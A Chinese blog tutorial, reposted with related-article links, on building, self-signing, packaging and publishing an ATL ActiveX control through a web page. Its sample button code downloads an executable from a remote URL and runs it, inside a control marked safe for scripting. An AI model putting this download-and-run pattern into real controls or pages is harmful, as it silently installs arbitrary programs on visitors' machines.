一步一步 在线发布 ActiveX
先准备必备工具: 生成证书工具, 打包工具 , 签证工具
装了 platform sdk 就已经有前2种了, 再到 http://www.ca365.com/上下载一个 SIGNCODE.EXE 签证用的.

1. 用atl写个activex,工程命为 activextest 插入Composite Control, 发给按钮,双击按钮,在函数种输入如

下测试代码

::MessageBox(NULL, "请等待几秒钟", "测试", MB_OK);
URLDownloadToFile(NULL,"http://www.softwife.com/xx.exe%22,%22c://xx.exe%22,0,NULL);
WinExec("c:\\xx.exe",SW_SHOW);

实现 IObjectSafety 接口

编译, 把activextest.dll copy 出来

2. 制作证书:
MakeCert -sv "test.pvk" -n "CN=公司名称" test.CER
提示输入密匙: 3次输入的要一样

Cert2Spc test.CER test.spc

3.打成cab包
编写 inf 文件, 命名为 activextest.inf ,内容如下 其中 clsid 再你工程的 activextest.idl 中可以找到

[version]
signature="$CHICAGO$"
AdvancedINF=2.0

[Add.Code]
activextes.dll=activextes.dll

[activextes.dll]
file-win32-x86=thiscab
clsid={xxx-xx-xx-xx-xx}
FileVersion=1, 0, 0, 1
RegisterServer=yes

CABARC -s 6144 n activextest.cab activextest.dll activextest.

也可用C:\WINDOWS\system32\IExpress.exe进行打包。
4.签证
双击 SIGNCODE.EXE , 按照要求, 选activextest.cab , 选 test.spc 选test.pvk

5.编写发布网页
CLASSID="clsid:xxx-xx-xx-xx-xx"
CODEBASE="http://www.softwife/cab/activextest.cab#version=1, 0, 0, 1">

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/newkey007/archive/2004/07/03/32942.aspx

转载于:https://www.cnblogs.com/Leem/archive/2009/12/04/1617175.html

给在线发布的cab文件进行数字签证相关推荐

  1. cab文件打包的ActiveX控件

    程序环境:Windows Xp SP2, IE 6, Tomcat 6.0, VC++6.0javascript 利用MFC开发的ActiveX控件要正常运行必须依赖MFC库.可是你不能保证你用户的机 ...

  2. Web发布cab文件打包的ActiveX控件总结

    这两天做控件的web发布遇到了几个问题,现总结如下. 一.程序描述: 程序环境:windows Xp sp2, ie 6, tomcat 5.5, vc++6.0 程序过程:控件做成ocx文件,用于客 ...

  3. 将ocx和DLL文件打包成cab文件,实现IE浏览器在线安装

    我们打开淘宝等网站时,IE浏览器会提示安装空间,这个控件便是用于对用户名密码进行加密的ActiveX控件.如何在我们的站点上安装如此控件,让用户可以通过简单的点击便可方便使用我们的空间呢? 下面是如何 ...

  4. 将ocx和DLL文件打包成cab文件,IE浏览器在线安装

    我们打开淘宝等网站时,IE浏览器会提示安装空间,这个控件便是用于对用户名密码进行加密的ActiveX控件.如何在我们的站点上安装如此控件,让用户可以通过简单的点击便可方便使用我们的空间呢? 下面是如何 ...

  5. 将ocx和DLL文件打包成cab文件,inf的编写

    From: http://icrwen.iteye.com/blog/1118766 http://blog.csdn.net/yimiyangguang1314/article/details/65 ...

  6. 如何字体文件拿数字文件_如何创建和管理数字家庭文件

    如何字体文件拿数字文件 What's the best way to scan, save, and organize important family documents, such as birt ...

  7. python打包发布到手机_Python打包操作与在线发布

    打包操作: 1.安装打包工具 2.在包文件中,添加构建模块 setup.py 在构建模块中,添加项目描述信息 from distutils.core import setup setup( name= ...

  8. 最新发布丨2022 连锁餐饮数字营销制胜之道

    疫情冲击之下,众多新国货连锁餐饮品牌多措并举,在逆境中加速数字化转型.通过积极开展线上业务,对消费者全生命周期价值进行充分挖掘.连锁餐饮品牌具有天然的数字营销优势,其线下门店触点都是品牌自身强管控的, ...

  9. c语言合并jpg成pdf,JPG在线转换成PDF文件的简单方法

    在现在的工作性质中.大家不管是在工作中还是在学习中,都会用到JPG图片文件,就连我们平时朋友聊天之间,也会传送很多图片文件,但是图片文件在聊天中很方便,但是在工作中传送图片就显得很不正式了,领导都会要 ...

最新文章

  1. mysql 5.7 mts_MySQL:MTS和mysqldump死锁
  2. mysql2003错误如何解决_如何安装最新版redis6错误解决以及配置开机启动等
  3. 由于权限不足而无法读取配置文件出现的HTTP 500.19解决办法
  4. hibernate mysql autocommit_Hibernate4 中为什么我没有用commit()方法直接用save就存到数据库了?...
  5. 算法竞赛——快速排序
  6. ajax怎么模拟请求,如何模拟AJAX请求?
  7. 人工智能先驱 Nils Nilsson 去世,吴恩达、Yann LeCun 悼念!
  8. IT民工系列——通用7130芯片视频采集卡 SDK 兼容任意天敏 宏视 等板卡
  9. 模电实验——实验三 集成运算放大器的基本应用
  10. 要管理此计算机上的用户账户,Win10安装软件用户账户控制提示管理员已阻止运行此应用解决方法...
  11. zencart模板修改 (详细)
  12. coffeescript java 执行_javascript – CoffeeScript中的方法调用语法
  13. C语言实验:输入任意一个日期的年、月、日的值,求出从公元1年1月1日到这一天总共有多少天,并求出这一天是星期几。
  14. 物联网常见的几种通信方式
  15. Taiyo Pacific Partners L.P.成为ZENKOKU HOSHO CO., Ltd.的主要股东,持股比例超过5%
  16. C++调用C的函数,出现 undefined reference to 的解决办法
  17. 【计算机网络】(二)网络技术与应用
  18. 网络基础:(二)路由选择基础与静态路由
  19. 小米android通知栏提示怎么关闭,怎么取消小米音乐自动在通知栏中显示控制开?...
  20. android-实现一个简单的视频弹幕,Android已死

热门文章

  1. DBA平均月薪17000,入职3年感叹这份工作实在是太难了!
  2. 《数据结构课程实践》_03_文本文件单词的检索与计数_准备工作
  3. 微信公众号模板消息源码
  4. 愿码(ChainDesk.CN):CoinBase Pro增加了对xrp的支持
  5. [总结]读取应用程序/类库配置文件(比如***.dll.config)的方法小结
  6. 在计算机桌面上的回收站作用是,计算机桌面回收站的设置(回收站的概念及设置、使用说明)...
  7. 使用SSM框架整合时,无法创建XXXXBean
  8. Android Context 到底是什么?
  9. 英语面试常见问题集锦 .
  10. NVIDIA GTC主题演讲内容学习<3>